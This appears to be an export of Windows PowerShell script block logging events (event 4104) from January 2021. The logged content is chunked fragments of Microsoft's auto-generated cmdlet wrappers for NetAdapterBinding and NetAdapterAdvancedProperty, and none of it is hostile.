[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterBinding' -Alias '*'
function Set-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterBindingSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterBindingSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[bool]
${Enabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('ComponentID') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ComponentID})
$__cmdletization_queryBuilder.FilterByProperty('ComponentID', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllBindings') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllBindings', ${AllBindings})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Enabled')) {
[object]$__cmdletization_value = ${Enabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterBinding.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterBinding' -Alias '*'
function Enable-NetAdapterBinding
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${ComponentID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllBindings},
ScriptBlock ID: 90a794d4-0b7d-4d96-a336-6d67419343cd
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1912 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-7cfe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 4):
ameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Reset', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Reset-NetAdapterAdvancedProperty' -Alias '*'
ScriptBlock ID: 8575be8b-8afa-4124-b4ab-bcb358d8ae2e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1911 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-75fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
ue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterAdvancedProperty' -Alias '*'
function Remove-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Remove-NetAdapterAdvancedProperty' -Alias '*'
function Reset-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
